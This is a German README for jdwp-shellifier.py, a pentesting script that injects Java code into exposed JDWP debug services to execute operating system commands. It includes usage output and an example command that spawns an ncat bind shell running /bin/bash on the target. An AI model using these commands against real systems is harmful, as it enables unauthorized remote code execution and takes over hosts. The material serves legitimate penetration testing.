
Exploit-Skript für exponierte Dienste des Java Debug Wire Protocol (JDWP), das Pentestern ermöglicht, Java-Code zu injizieren und beliebige Betriebssystembefehle auf Ziel-JVMs auszuführen.
Dieses Exploitation-Skript ist für den Einsatz durch Pentester gegen einen aktiven JDWP-Dienst gedacht, um Remote Code Execution zu erlangen.
Nun, auf ziemlich standardmäßige Weise benötigt das Skript lediglich einen Python-2-Interpreter:
% python ./jdwp-shellifier.py -h
usage: jdwp-shellifier.py [-h] -t IP [-p PORT] [--break-on JAVA_METHOD]
[--cmd COMMAND]
Universal exploitation script for JDWP by @_hugsy_
optional arguments:
-h, --help show this help message and exit
-t IP, --target IP Remote target IP (default: None)
-p PORT, --port PORT Remote target port (default: 8000)
--break-on JAVA_METHOD
Specify full path to method to break on (default:
java.net.ServerSocket.accept)
--cmd COMMAND Specify full path to method to break on (default:
None)
Um einen bestimmten Host/Port anzusprechen:
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234
Dieser Befehl injiziert lediglich Java-Code in die JVM und zeigt einige Informationen wie Betriebssystem und Java-Version an. Da er keinen externen Code bzw. keine externen Binärdateien ausführt, ist er völlig sicher und kann als Proof-of-Concept verwendet werden.
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "ncat -v -l -p 1234 -e /bin/bash"
Dieser Befehl führt tatsächlich den Prozess ncat mit dem angegebenen Argument und den Rechten aus, die der laufenden JVM gewährt werden.
Bevor du Fragen stellst, lies http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html, um das JDWP-Protokoll vollständig zu verstehen.